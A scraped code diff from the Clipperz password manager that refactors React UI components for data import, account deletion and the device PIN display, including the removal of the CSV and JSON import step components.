 | 
				
			||||||
				MochiKit.Base.map(this.renderCard, this.props.importState.jsonToImport)
 | 
									MochiKit.Base.map(this.renderCard, this.state.jsonToImport)
 | 
				
			||||||
			);
 | 
								);
 | 
				
			||||||
			
 | 
								
 | 
				
			||||||
			result = [
 | 
								result =
 | 
				
			||||||
				React.DOM.h2({},"Preview"),
 | 
									React.DOM.div({'className': 'jsonPreview'}, React.DOM.ul({},
 | 
				
			||||||
				Clipperz.PM.UI.Components.ExtraFeatures.DataImport.StepsNavigation({
 | 
										MochiKit.Base.map(this.renderCard, this.state.jsonToImport)
 | 
				
			||||||
					'format': this.props.importState.importData.format,
 | 
									) );
 | 
				
			||||||
					'stepId': 'preview'
 | 
					 | 
				
			||||||
				}),
 | 
					 | 
				
			||||||
				React.DOM.button({
 | 
					 | 
				
			||||||
					'onClick': MochiKit.Base.partial(this.props.goToStepCallback, this.props.importState.previousStep)}, "Back"),
 | 
					 | 
				
			||||||
				React.DOM.span({}, " - "),
 | 
					 | 
				
			||||||
				React.DOM.button({
 | 
					 | 
				
			||||||
					'onClick': MochiKit.Base.bind(function() {
 | 
					 | 
				
			||||||
						var filteredImportData = MochiKit.Base.filter(
 | 
					 | 
				
			||||||
							MochiKit.Base.bind(function(r) {
 | 
					 | 
				
			||||||
								return this.props.isRecordToImportCallback(r);
 | 
					 | 
				
			||||||
							}, this),
 | 
					 | 
				
			||||||
							this.props.importState.jsonToImport
 | 
					 | 
				
			||||||
						);
 | 
					 | 
				
			||||||
						
 | 
					 | 
				
			||||||
						MochiKit.Signal.signal(Clipperz.Signal.NotificationCenter, 'importCards', filteredImportData);
 | 
					 | 
				
			||||||
						
 | 
					 | 
				
			||||||
						this.props.resetImportStateCallback();
 | 
					 | 
				
			||||||
					}, this)
 | 
					 | 
				
			||||||
				}, "Import"),
 | 
					 | 
				
			||||||
				React.DOM.div({'className': 'jsonPreview'},renderedPreview),
 | 
					 | 
				
			||||||
			];
 | 
					 | 
				
			||||||
		}
 | 
							}
 | 
				
			||||||
			
 | 
								
 | 
				
			||||||
		return React.DOM.div({},result);
 | 
							return React.DOM.div({},result);
 | 
				
			||||||
 
 | 
				
			|||||||
@@ -1,99 +0,0 @@
 | 
				
			|||||||
/*
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
Copyright 2008-2015 Clipperz Srl
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
This file is part of Clipperz, the online password manager.
 | 
					 | 
				
			||||||
For further information about its features and functionalities please
 | 
					 | 
				
			||||||
refer to http://www.clipperz.com.
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
* Clipperz is free software: you can redistribute it and/or modify it
 | 
					 | 
				
			||||||
  under the terms of the GNU Affero General Public License as published
 | 
					 | 
				
			||||||
  by the Free Software Foundation, either version 3 of the License, or 
 | 
					 | 
				
			||||||
  (at your option) any later version.
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
* Clipperz is distributed in the hope that it will be useful, but 
 | 
					 | 
				
			||||||
  WITHOUT ANY WARRANTY; without even the implied warranty of 
 | 
					 | 
				
			||||||
  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
 | 
					 | 
				
			||||||
  See the GNU Affero General Public License for more details.
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
* You should have received a copy of the GNU Affero General Public
 | 
					 | 
				
			||||||
  License along with Clipperz. If not, see http://www.gnu.org/licenses/.
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
*/
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
"use strict";
 | 
					 | 
				
			||||||
Clipperz.Base.module('Clipperz.PM.UI.Components.ExtraFeatures.DataImport');
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
Clipperz.PM.UI.Components.ExtraFeatures.DataImport.StepsNavigationClass = React.createClass({
 | 
					 | 
				
			||||||
	
 | 
					 | 
				
			||||||
	_stepsInfo: [
 | 
					 | 
				
			||||||
		{
 | 
					 | 
				
			||||||
			id: 'input',
 | 
					 | 
				
			||||||
			name: 'Input',
 | 
					 | 
				
			||||||
			formats: ['json', 'csv']
 | 
					 | 
				
			||||||
		},
 | 
					 | 
				
			||||||
		{
 | 
					 | 
				
			||||||
			id: 'csv-columns',
 | 
					 | 
				
			||||||
			name: 'Columns',
 | 
					 | 
				
			||||||
			formats: ['csv']
 | 
					 | 
				
			||||||
		},
 | 
					 | 
				
			||||||
		{
 | 
					 | 
				
			||||||
			id: 'csv-labels',
 | 
					 | 
				
			||||||
			name: 'Labels',
 | 
					 | 
				
			||||||
			formats: ['csv']
 | 
					 | 
				
			||||||
		},
 | 
					 | 
				
			||||||
		{
 | 
					 | 
				
			||||||
			id: 'csv-titles',
 | 
					 | 
				
			||||||
			name: 'Titles',
 | 
					 | 
				
			||||||
			formats: ['csv']
 | 
					 | 
				
			||||||
		},
 | 
					 | 
				
			||||||
		{
 | 
					 | 
				
			||||||
			id: 'csv-notes',
 | 
					 | 
				
			||||||
			name: 'Notes',
 | 
					 | 
				
			||||||
			formats: ['csv']
 | 
					 | 
				
			||||||
		},
 | 
					 | 
				
			||||||
		{
 | 
					 | 
				
			||||||
			id: 'csv-hidden',
 | 
					 | 
				
			||||||
			name: 'Hidden',
 | 
					 | 
				
			||||||
			formats: ['csv']
 | 
					 | 
				
			||||||
		},
 | 
					 | 
				
			||||||
		{
 | 
					 | 
				
			||||||
			id: 'preview',
 | 
					 | 
				
			||||||
			name: 'Preview',
 | 
					 | 
				
			||||||
			formats: ['json', 'csv']
 | 
					 | 
				
			||||||
		}
 | 
					 | 
				
			||||||
	],
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
	render: function() {
 | 
					 | 
				
			||||||
		var navigationButtons;
 | 
					 | 
				
			||||||
		
 | 
					 | 
				
			||||||
		if (this.props.prevStep && this.props.nextStep) {
 | 
					 | 
				
			||||||
			navigationButtons = [
 | 
					 | 
				
			||||||
				React.DOM.button({'onClick': MochiKit.Base.partial(this.props.goToStepCallback, this.props.prevStep)}, "Back"),
 | 
					 | 
				
			||||||
				React.DOM.span({}, " - "),
 | 
					 | 
				
			||||||
				React.DOM.button({'onClick': MochiKit.Base.partial(this.props.goToStepCallback, this.props.nextStep), 'disabled': this.props.nextDisabled }, "Next")
 | 
					 | 
				
			||||||
			];
 | 
					 | 
				
			||||||
		} else {
 | 
					 | 
				
			||||||
			
 | 
					 | 
				
			||||||
		}
 | 
					 | 
				
			||||||
		
 | 
					 | 
				
			||||||
		return React.DOM.div({},[
 | 
					 | 
				
			||||||
			React.DOM.ul({'className': 'stepsOverview'}, 
 | 
					 | 
				
			||||||
				MochiKit.Base.map(MochiKit.Base.bind(function(aStep) {
 | 
					 | 
				
			||||||
					var className;
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
					className = (aStep.id == this.props.stepId) ? 'active' : 'inactive';
 | 
					 | 
				
			||||||
					className = (MochiKit.Base.findValue(aStep.formats,this.props.format)>= 0) ? className+' enabled' : className+' disabled';
 | 
					 | 
				
			||||||
					
 | 
					 | 
				
			||||||
					// TODO: replace with proper CSS
 | 
					 | 
				
			||||||
					var style = (aStep.id == this.props.stepId) ? {'display': 'inline-block', 'textDecoration': 'underline'} : {'display': 'inline-block'};
 | 
					 | 
				
			||||||
					return React.DOM.li({'className': className, 'style': style}, aStep.name);
 | 
					 | 
				
			||||||
				},this), this._stepsInfo)
 | 
					 | 
				
			||||||
			),
 | 
					 | 
				
			||||||
			navigationButtons
 | 
					 | 
				
			||||||
		]);
 | 
					 | 
				
			||||||
	}
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
});
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
Clipperz.PM.UI.Components.ExtraFeatures.DataImport.StepsNavigation = React.createFactory(Clipperz.PM.UI.Components.ExtraFeatures.DataImport.StepsNavigationClass);
 | 
					 | 
				
			||||||
@@ -43,7 +43,6 @@ Clipperz.PM.UI.Components.ExtraFeatures.DeleteAccountClass = React.createClass({
 | 
				
			|||||||
	
 | 
						
 | 
				
			||||||
	handleDeleteAccount: function(event) {
 | 
						handleDeleteAccount: function(event) {
 | 
				
			||||||
		event.preventDefault();
 | 
							event.preventDefault();
 | 
				
			||||||
		
 | 
					 | 
				
			||||||
		MochiKit.Signal.signal(Clipperz.Signal.NotificationCenter, 'deleteAccount');
 | 
							MochiKit.Signal.signal(Clipperz.Signal.NotificationCenter, 'deleteAccount');
 | 
				
			||||||
	},
 | 
						},
 | 
				
			||||||
	
 | 
						
 | 
				
			||||||
@@ -77,14 +76,13 @@ Clipperz.PM.UI.Components.ExtraFeatures.DeleteAccountClass = React.createClass({
 | 
				
			|||||||
	render: function () {
 | 
						render: function () {
 | 
				
			||||||
		return	React.DOM.div({className:'extraFeature deleteAccount'}, [
 | 
							return	React.DOM.div({className:'extraFeature deleteAccount'}, [
 | 
				
			||||||
			React.DOM.h1({}, "Delete Account"),
 | 
								React.DOM.h1({}, "Delete Account"),
 | 
				
			||||||
 | 
								React.DOM.div({'className': 'content'}, [
 | 
				
			||||||
			React.DOM.form({'key':'form', 'className':'deleteAccountForm', 'onChange': this.handleFormChange, 'onSubmit':this.handleDeleteAccount}, [
 | 
								React.DOM.form({'key':'form', 'className':'deleteAccountForm', 'onChange': this.handleFormChange, 'onSubmit':this.handleDeleteAccount}, [
 | 
				
			||||||
				React.DOM.div({'key':'fields'},[
 | 
									React.DOM.div({'key':'fields'},[
 | 
				
			||||||
					React.DOM.label({'key':'username-label', 'htmlFor' :'name'}, "username"),
 | 
										React.DOM.label({'key':'username-label', 'htmlFor' :'name'}, "username"),
 | 
				
			||||||
					React.DOM.input({'key':'username', 'className': this.state['username'], 'type':'text', 'name':'name', 'ref':'username', 'placeholder':"username", 'autoCapitalize':'none'}),
 | 
										React.DOM.input({'key':'username', 'className': this.state['username'], 'type':'text', 'name':'name', 'ref':'username', 'placeholder':"username", 'autoCapitalize':'none'}),
 | 
				
			||||||
					React.DOM.span({'className': 'invalidMsg'},'Invalid username!'),
 | 
					 | 
				
			||||||
					React.DOM.label({'key':'passphrase-label', 'autoFocus': 'true', 'htmlFor' :'passphrase'}, "passphrase"),
 | 
										React.DOM.label({'key':'passphrase-label', 'autoFocus': 'true', 'htmlFor' :'passphrase'}, "passphrase"),
 | 
				
			||||||
					React.DOM.input({'key':'passphrase', 'className': this.state['passphrase'], 'type':'password', 'name':'passphrase', 'ref':'passphrase', 'placeholder':"passphrase"}),
 | 
										React.DOM.input({'key':'passphrase', 'className': this.state['passphrase'], 'type':'password', 'name':'passphrase', 'ref':'passphrase', 'placeholder':"passphrase"}),
 | 
				
			||||||
					React.DOM.span({'className': 'invalidMsg'},'Invalid passphrase!'),
 | 
					 | 
				
			||||||
					React.DOM.p({}, [
 | 
										React.DOM.p({}, [
 | 
				
			||||||
						React.DOM.input({'key':'confirm', 'className':'confirmCheckbox', 'type':'checkbox', 'name':'confirm', 'ref':'confirm'}),
 | 
											React.DOM.input({'key':'confirm', 'className':'confirmCheckbox', 'type':'checkbox', 'name':'confirm', 'ref':'confirm'}),
 | 
				
			||||||
						React.DOM.span({}, "I understand that all my data will be deleted and that this action is irreversible.")
 | 
											React.DOM.span({}, "I understand that all my data will be deleted and that this action is irreversible.")
 | 
				
			||||||
@@ -92,6 +90,7 @@ Clipperz.PM.UI.Components.ExtraFeatures.DeleteAccountClass = React.createClass({
 | 
				
			|||||||
				]),
 | 
									]),
 | 
				
			||||||
				React.DOM.button({'key':'button', 'type':'submit', 'disabled':!this.shouldEnableDeleteAccountButton(), 'className':'button'}, "Delete my account")
 | 
									React.DOM.button({'key':'button', 'type':'submit', 'disabled':!this.shouldEnableDeleteAccountButton(), 'className':'button'}, "Delete my account")
 | 
				
			||||||
			])
 | 
								])
 | 
				
			||||||
 | 
								])
 | 
				
			||||||
		]);
 | 
							]);
 | 
				
			||||||
	},
 | 
						},
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 
 | 
				
			|||||||
@@ -36,7 +36,9 @@ Clipperz.PM.UI.Components.ExtraFeatures.DevicePINClass = React.createClass({
 | 
				
			|||||||
	render: function () {
 | 
						render: function () {
 | 
				
			||||||
		return	React.DOM.div({className:'extraFeature devicePIN'}, [
 | 
							return	React.DOM.div({className:'extraFeature devicePIN'}, [
 | 
				
			||||||
			React.DOM.h1({}, "Device PIN"),
 | 
								React.DOM.h1({}, "Device PIN"),
 | 
				
			||||||
 | 
								React.DOM.div({'className': 'content'}, [
 | 
				
			||||||
				React.DOM.h3({}, this.props['PIN'])
 | 
									React.DOM.h3({}, this.props['PIN'])
 | 
				
			||||||
 | 
								])
 | 
				
			||||||
		]);
 | 
							]);
 | 
				
			||||||
	},
 | 
						},
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 
 | 
				
			|||||||
@@ -1,409 +0,0 @@
 | 
				
			|||||||
/*
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
Copyright 2008-2015 Clipperz Srl
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
This file is part of Clipperz, the online password manager.
 | 
					 | 
				
			||||||
For further information about its features and functionalities please
 | 
					 | 
				
			||||||
refer to http://www.clipperz.com.
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
* Clipperz is free software: you can redistribute it and/or modify it
 | 
					 | 
				
			||||||
  under the terms of the GNU Affero General Public License as published
 | 
					 | 
				
			||||||
  by the Free Software Foundation, either version 3 of the License, or 
 | 
					 | 
				
			||||||
  (at your option) any later version.
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
* Clipperz is distributed in the hope that it will be useful, but 
 | 
					 | 
				
			||||||
  WITHOUT ANY WARRANTY; without even the implied warranty of 
 | 
					 | 
				
			||||||
  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
 | 
					 | 
				
			||||||
  See the GNU Affero General Public License for more details.
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
* You should have received a copy of the GNU Affero General Public
 | 
					 | 
				
			||||||
  License along with Clipperz. If not, see http://www.gnu.org/licenses/.
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
*/
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
"use strict";
 | 
					 | 
				
			||||||
Clipperz.Base.module('Clipperz.PM.UI.Components.ExtraFeatures');
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
Clipperz.PM.UI.Components.ExtraFeatures.DataImportClass = React.createClass({
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
	getInitialState: function() {
 | 
					 | 
				
			||||||
		return {
 | 
					 | 
				
			||||||
			'currentStep': 'input',
 | 
					 | 
				
			||||||
			'importData': {'input': ""},
 | 
					 | 
				
			||||||
			'recordsToImport': null
 | 
					 | 
				
			||||||
		};
 | 
					 | 
				
			||||||
	},
 | 
					 | 
				
			||||||
	
 | 
					 | 
				
			||||||
	goToStep: function(aStep) {
 | 
					 | 
				
			||||||
		this.setState({'currentStep': aStep});
 | 
					 | 
				
			||||||
	},
 | 
					 | 
				
			||||||
	
 | 
					 | 
				
			||||||
	resetState: function() {
 | 
					 | 
				
			||||||
		this.replaceState( this.getInitialState() );
 | 
					 | 
				
			||||||
	},
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
	//=========================================================================
 | 
					 | 
				
			||||||
	
 | 
					 | 
				
			||||||
	addImportIds: function (someJson) {
 | 
					 | 
				
			||||||
		var count;
 | 
					 | 
				
			||||||
		
 | 
					 | 
				
			||||||
		for (count=0; count < someJson.length; count++) {
 | 
					 | 
				
			||||||
			someJson[count]['_importId'] = count;
 | 
					 | 
				
			||||||
		}
 | 
					 | 
				
			||||||
	},
 | 
					 | 
				
			||||||
	
 | 
					 | 
				
			||||||
	toggleRecordToImport: function(record) {
 | 
					 | 
				
			||||||
		var newRecordsToImport;
 | 
					 | 
				
			||||||
		var recordPosition;
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
		newRecordsToImport = this.state.recordsToImport;
 | 
					 | 
				
			||||||
		recordPosition = newRecordsToImport.indexOf(record._importId);
 | 
					 | 
				
			||||||
		
 | 
					 | 
				
			||||||
		if (recordPosition === -1) {
 | 
					 | 
				
			||||||
			newRecordsToImport.push(record._importId);
 | 
					 | 
				
			||||||
		} else {
 | 
					 | 
				
			||||||
			newRecordsToImport.splice(recordPosition,1);
 | 
					 | 
				
			||||||
		}
 | 
					 | 
				
			||||||
		
 | 
					 | 
				
			||||||
		this.setState({'recordsToImport': newRecordsToImport});
 | 
					 | 
				
			||||||
	},
 | 
					 | 
				
			||||||
	
 | 
					 | 
				
			||||||
	isRecordToImport: function(record) {
 | 
					 | 
				
			||||||
		return (this.state.recordsToImport.indexOf(record._importId)>=0) ? true : false;
 | 
					 | 
				
			||||||
	},
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
	extractJsonFromClipperzExport: function(someHtml) {
 | 
					 | 
				
			||||||
		var temporaryTextarea;
 | 
					 | 
				
			||||||
		var regexMatch;
 | 
					 | 
				
			||||||
		var result;
 | 
					 | 
				
			||||||
		
 | 
					 | 
				
			||||||
		// Should move the regex to global?
 | 
					 | 
				
			||||||
		var re = new RegExp('.*<textarea>(.*)<\/textarea>.*','g');
 | 
					 | 
				
			||||||
		
 | 
					 | 
				
			||||||
		if (re.test(someHtml)) {
 | 
					 | 
				
			||||||
			// Needed to escape HTML entities
 | 
					 | 
				
			||||||
			temporaryTextarea = document.createElement('textarea');
 | 
					 | 
				
			||||||
			temporaryTextarea.innerHTML = someHtml.replace(re, '$1');
 | 
					 | 
				
			||||||
			result = temporaryTextarea.innerHTML;
 | 
					 | 
				
			||||||
		} else {
 | 
					 | 
				
			||||||
			result = false;
 | 
					 | 
				
			||||||
		}
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
		return result;
 | 
					 | 
				
			||||||
	},
 | 
					 | 
				
			||||||
	
 | 
					 | 
				
			||||||
	parseJson: function(aJsonString) {
 | 
					 | 
				
			||||||
		var result;
 | 
					 | 
				
			||||||
		var jsonData;
 | 
					 | 
				
			||||||
		
 | 
					 | 
				
			||||||
		try {
 | 
					 | 
				
			||||||
			jsonData = JSON.parse(aJsonString);
 | 
					 | 
				
			||||||
			this.addImportIds(jsonData);
 | 
					 | 
				
			||||||
			result = {
 | 
					 | 
				
			||||||
				'importData': {
 | 
					 | 
				
			||||||
					'format': 'json',
 | 
					 | 
				
			||||||
					'input': aJsonString,
 | 
					 | 
				
			||||||
				},
 | 
					 | 
				
			||||||
				'jsonToImport': jsonData,
 | 
					 | 
				
			||||||
				'recordsToImport': jsonData.map(function(d){return d._importId}),
 | 
					 | 
				
			||||||
				'currentStep': 'preview',
 | 
					 | 
				
			||||||
				'previousStep': 'input'
 | 
					 | 
				
			||||||
			};
 | 
					 | 
				
			||||||
		} catch(e) {
 | 
					 | 
				
			||||||
			result = false;
 | 
					 | 
				
			||||||
		}
 | 
					 | 
				
			||||||
		
 | 
					 | 
				
			||||||
		return result;
 | 
					 | 
				
			||||||
	},
 | 
					 | 
				
			||||||
	
 | 
					 | 
				
			||||||
	parseCsv: function(aCsvString) {
 | 
					 | 
				
			||||||
		var result;
 | 
					 | 
				
			||||||
		var parsedCSV;
 | 
					 | 
				
			||||||
		var nColumns;
 | 
					 | 
				
			||||||
		var defaultSelectedColumns;
 | 
					 | 
				
			||||||
		var defaultHiddenColumns;
 | 
					 | 
				
			||||||
		var defaultColumnLabels;
 | 
					 | 
				
			||||||
		var columnLabelsFirstrow;
 | 
					 | 
				
			||||||
		var i;
 | 
					 | 
				
			||||||
	
 | 
					 | 
				
			||||||
		var papaParsedCSV = Papa.parse(aCsvString);
 | 
					 | 
				
			||||||
	
 | 
					 | 
				
			||||||
		event.preventDefault();
 | 
					 | 
				
			||||||
	
 | 
					 | 
				
			||||||
		if (papaParsedCSV.errors.length != 0) {
 | 
					 | 
				
			||||||
			result = false;
 | 
					 | 
				
			||||||
		} else {
 | 
					 | 
				
			||||||
			parsedCSV = this.csvFillEmptyCells(papaParsedCSV.data);
 | 
					 | 
				
			||||||
			nColumns = parsedCSV[0].length;
 | 
					 | 
				
			||||||
			
 | 
					 | 
				
			||||||
			defaultSelectedColumns = {};
 | 
					 | 
				
			||||||
			defaultHiddenColumns = {};
 | 
					 | 
				
			||||||
			defaultColumnLabels = {};
 | 
					 | 
				
			||||||
			columnLabelsFirstrow = {};
 | 
					 | 
				
			||||||
			for (i=0; i<nColumns; i++) {
 | 
					 | 
				
			||||||
				defaultSelectedColumns[i] = true;
 | 
					 | 
				
			||||||
				defaultHiddenColumns[i] = false;
 | 
					 | 
				
			||||||
				defaultColumnLabels[i] = "";
 | 
					 | 
				
			||||||
				columnLabelsFirstrow[i] = parsedCSV[0][i];
 | 
					 | 
				
			||||||
			}
 | 
					 | 
				
			||||||
		
 | 
					 | 
				
			||||||
			result = {
 | 
					 | 
				
			||||||
				'importData': {
 | 
					 | 
				
			||||||
					'format': 'csv',
 | 
					 | 
				
			||||||
					'input': aCsvString,
 | 
					 | 
				
			||||||
					'parsedCSV': parsedCSV,
 | 
					 | 
				
			||||||
					'nColumns': nColumns,
 | 
					 | 
				
			||||||
					'selectedColumns': defaultSelectedColumns,
 | 
					 | 
				
			||||||
					'firstRowAsLabels': false,
 | 
					 | 
				
			||||||
					'columnLabels': defaultColumnLabels,
 | 
					 | 
				
			||||||
					'columnLabelsFirstrow': columnLabelsFirstrow,
 | 
					 | 
				
			||||||
					'titlesColumn': null,
 | 
					 | 
				
			||||||
					'notesColumn': null,
 | 
					 | 
				
			||||||
					'hiddenColumns': defaultHiddenColumns,
 | 
					 | 
				
			||||||
					'json': []
 | 
					 | 
				
			||||||
				},
 | 
					 | 
				
			||||||
				'currentStep': 'csv-columns'
 | 
					 | 
				
			||||||
			};
 | 
					 | 
				
			||||||
		}
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
		return result;
 | 
					 | 
				
			||||||
	},
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
	csvFillEmptyCells: function(table) {
 | 
					 | 
				
			||||||
		var i,j;
 | 
					 | 
				
			||||||
		
 | 
					 | 
				
			||||||
		var result = [];
 | 
					 | 
				
			||||||
		
 | 
					 | 
				
			||||||
		var maxColumns = MochiKit.Iter.reduce(function(prev,next) {
 | 
					 | 
				
			||||||
			return Math.max(prev,next)
 | 
					 | 
				
			||||||
		}, MochiKit.Base.map(function(row) {return row.length;}, table) );
 | 
					 | 
				
			||||||
		
 | 
					 | 
				
			||||||
		for (i=0; i<table.length; i++) {
 | 
					 | 
				
			||||||
			
 | 
					 | 
				
			||||||
			result[i] = [];
 | 
					 | 
				
			||||||
			for (j=0; j<maxColumns; j++) {
 | 
					 | 
				
			||||||
				result[i][j] = (typeof(table[i][j]) != "undefined") ? table[i][j] : "";
 | 
					 | 
				
			||||||
			}
 | 
					 | 
				
			||||||
		}
 | 
					 | 
				
			||||||
		
 | 
					 | 
				
			||||||
		return result;
 | 
					 | 
				
			||||||
	},
 | 
					 | 
				
			||||||
	
 | 
					 | 
				
			||||||
	csvGetColumnLabels: function() {
 | 
					 | 
				
			||||||
		return (this.state.importData.firstRowAsLabels) ? this.state.importData.columnLabelsFirstrow : this.state.importData.columnLabels;
 | 
					 | 
				
			||||||
	},
 | 
					 | 
				
			||||||
	
 | 
					 | 
				
			||||||
	csvToJson: function() {
 | 
					 | 
				
			||||||
		var result;
 | 
					 | 
				
			||||||
		
 | 
					 | 
				
			||||||
		var importData = this.state.importData;
 | 
					 | 
				
			||||||
		var columnLabels = this.csvGetColumnLabels();
 | 
					 | 
				
			||||||
		
 | 
					 | 
				
			||||||
		result = [];
 | 
					 | 
				
			||||||
		
 | 
					 | 
				
			||||||
		for (rowCount=0; rowCount<importData.parsedCSV.length; rowCount++) {
 | 
					 | 
				
			||||||
			var rowCount,cellCount;
 | 
					 | 
				
			||||||
			
 | 
					 | 
				
			||||||
			if (rowCount != 0 || ! importData.firstRowAsLabels) {
 | 
					 | 
				
			||||||
				var record;
 | 
					 | 
				
			||||||
				
 | 
					 | 
				
			||||||
				record = {};
 | 
					 | 
				
			||||||
				record._importId = rowCount;
 | 
					 | 
				
			||||||
				record.label = importData.parsedCSV[rowCount][importData.titlesColumn];
 | 
					 | 
				
			||||||
				record.data = {'notes': ""};
 | 
					 | 
				
			||||||
				record.currentVersion = {'fields': {}};
 | 
					 | 
				
			||||||
				
 | 
					 | 
				
			||||||
				for (cellCount=0; cellCount<importData.parsedCSV[rowCount].length; cellCount++) {
 | 
					 | 
				
			||||||
					if (importData.selectedColumns[cellCount] && cellCount != importData.notesColumn && cellCount != importData.titlesColumn) {
 | 
					 | 
				
			||||||
						var fieldKey = rowCount+"-"+cellCount;
 | 
					 | 
				
			||||||
						var field = {
 | 
					 | 
				
			||||||
							'label': columnLabels[cellCount],
 | 
					 | 
				
			||||||
							'value': importData.parsedCSV[rowCount][cellCount],
 | 
					 | 
				
			||||||
							'hidden': importData.hiddenColumns[cellCount]
 | 
					 | 
				
			||||||
						};
 | 
					 | 
				
			||||||
						record.currentVersion.fields[fieldKey] = field;
 | 
					 | 
				
			||||||
					} else if (cellCount == importData.notesColumn) {
 | 
					 | 
				
			||||||
						record.data.notes = importData.parsedCSV[rowCount][cellCount];
 | 
					 | 
				
			||||||
					}
 | 
					 | 
				
			||||||
				}
 | 
					 | 
				
			||||||
				
 | 
					 | 
				
			||||||
				result.push(record);
 | 
					 | 
				
			||||||
			}
 | 
					 | 
				
			||||||
		}
 | 
					 | 
				
			||||||
		
 | 
					 | 
				
			||||||
		return result;
 | 
					 | 
				
			||||||
	},
 | 
					 | 
				
			||||||
	
 | 
					 | 
				
			||||||
	//=========================================================================
 | 
					 | 
				
			||||||
	
 | 
					 | 
				
			||||||
	csvRenderTbody: function() {
 | 
					 | 
				
			||||||
		var rowCount;
 | 
					 | 
				
			||||||
		var cellCount;
 | 
					 | 
				
			||||||
		
 | 
					 | 
				
			||||||
		var firstRowAsLabels = this.state.importData.firstRowAsLabels;
 | 
					 | 
				
			||||||
		var selectedColumns = this.state.importData.selectedColumns;
 | 
					 | 
				
			||||||
		
 | 
					 | 
				
			||||||
		rowCount = 0;
 | 
					 | 
				
			||||||
		return MochiKit.Base.map(function(row){
 | 
					 | 
				
			||||||
			var result;
 | 
					 | 
				
			||||||
			
 | 
					 | 
				
			||||||
			cellCount = 0;
 | 
					 | 
				
			||||||
			
 | 
					 | 
				
			||||||
			if (rowCount == 0 && firstRowAsLabels) {
 | 
					 | 
				
			||||||
				result = null;
 | 
					 | 
				
			||||||
			} else {							
 | 
					 | 
				
			||||||
				result = React.DOM.tr({'key': 'csv-row-'+(rowCount)}, MochiKit.Base.map(function(cell) {
 | 
					 | 
				
			||||||
					return (selectedColumns[cellCount]) ? React.DOM.td({'key': 'csv-cell-'+rowCount+'-'+(cellCount++)},cell) : null;
 | 
					 | 
				
			||||||
				}, row));
 | 
					 | 
				
			||||||
			}
 | 
					 | 
				
			||||||
			
 | 
					 | 
				
			||||||
			rowCount++;
 | 
					 | 
				
			||||||
			
 | 
					 | 
				
			||||||
			return result;
 | 
					 | 
				
			||||||
		}, this.state.importData.parsedCSV);
 | 
					 | 
				
			||||||
	},
 | 
					 | 
				
			||||||
	
 | 
					 | 
				
			||||||
	csvRenderTheadInput: function(stepName, inputType, valueCallback, onChange, disabledCallback, showLabels) {
 | 
					 | 
				
			||||||
		var cellCount;
 | 
					 | 
				
			||||||
		
 | 
					 | 
				
			||||||
		var importData = this.state.importData;
 | 
					 | 
				
			||||||
		
 | 
					 | 
				
			||||||
		cellCount = 0;
 | 
					 | 
				
			||||||
		return React.DOM.tr({},
 | 
					 | 
				
			||||||
			MochiKit.Base.map(MochiKit.Base.bind(function(cell) {
 | 
					 | 
				
			||||||
				var result;
 | 
					 | 
				
			||||||
				
 | 
					 | 
				
			||||||
				var columnLabels = (importData.firstRowAsLabels) ? importData.columnLabelsFirstrow : importData.columnLabels;
 | 
					 | 
				
			||||||
				var inputLabel = (showLabels) ? React.DOM.label({'htmlFor': 'csv-'+stepName+'-input-'+cellCount}, columnLabels[cellCount]) : null;
 | 
					 | 
				
			||||||
				
 | 
					 | 
				
			||||||
				if (! importData.selectedColumns[cellCount]) {
 | 
					 | 
				
			||||||
					result = null;
 | 
					 | 
				
			||||||
				} else {
 | 
					 | 
				
			||||||
					var inputProps = {
 | 
					 | 
				
			||||||
						'type': inputType,
 | 
					 | 
				
			||||||
						'id': 'csv-'+stepName+'-input-'+cellCount,
 | 
					 | 
				
			||||||
						'key': 'csv-'+stepName+'-input-'+cellCount,
 | 
					 | 
				
			||||||
						'ref': 'csv-'+stepName+'-input-'+cellCount,
 | 
					 | 
				
			||||||
						'onChange': MochiKit.Base.partial(onChange,cellCount)
 | 
					 | 
				
			||||||
					}
 | 
					 | 
				
			||||||
					
 | 
					 | 
				
			||||||
					if (inputType == 'radio' || inputType == 'checkbox') {
 | 
					 | 
				
			||||||
						inputProps['checked'] = MochiKit.Base.partial(valueCallback,cellCount)();
 | 
					 | 
				
			||||||
					} else {
 | 
					 | 
				
			||||||
						inputProps['value'] = MochiKit.Base.partial(valueCallback,cellCount)();
 | 
					 | 
				
			||||||
					}
 | 
					 | 
				
			||||||
					
 | 
					 | 
				
			||||||
					if (disabledCallback) {
 | 
					 | 
				
			||||||
						inputProps['disabled'] = MochiKit.Base.partial(disabledCallback,cellCount)();
 | 
					 | 
				
			||||||
					}
 | 
					 | 
				
			||||||
					
 | 
					 | 
				
			||||||
					result = React.DOM.th({'key': 'csv-'+stepName+'-header-'+cellCount}, [
 | 
					 | 
				
			||||||
						inputLabel,
 | 
					 | 
				
			||||||
						React.DOM.input(inputProps)
 | 
					 | 
				
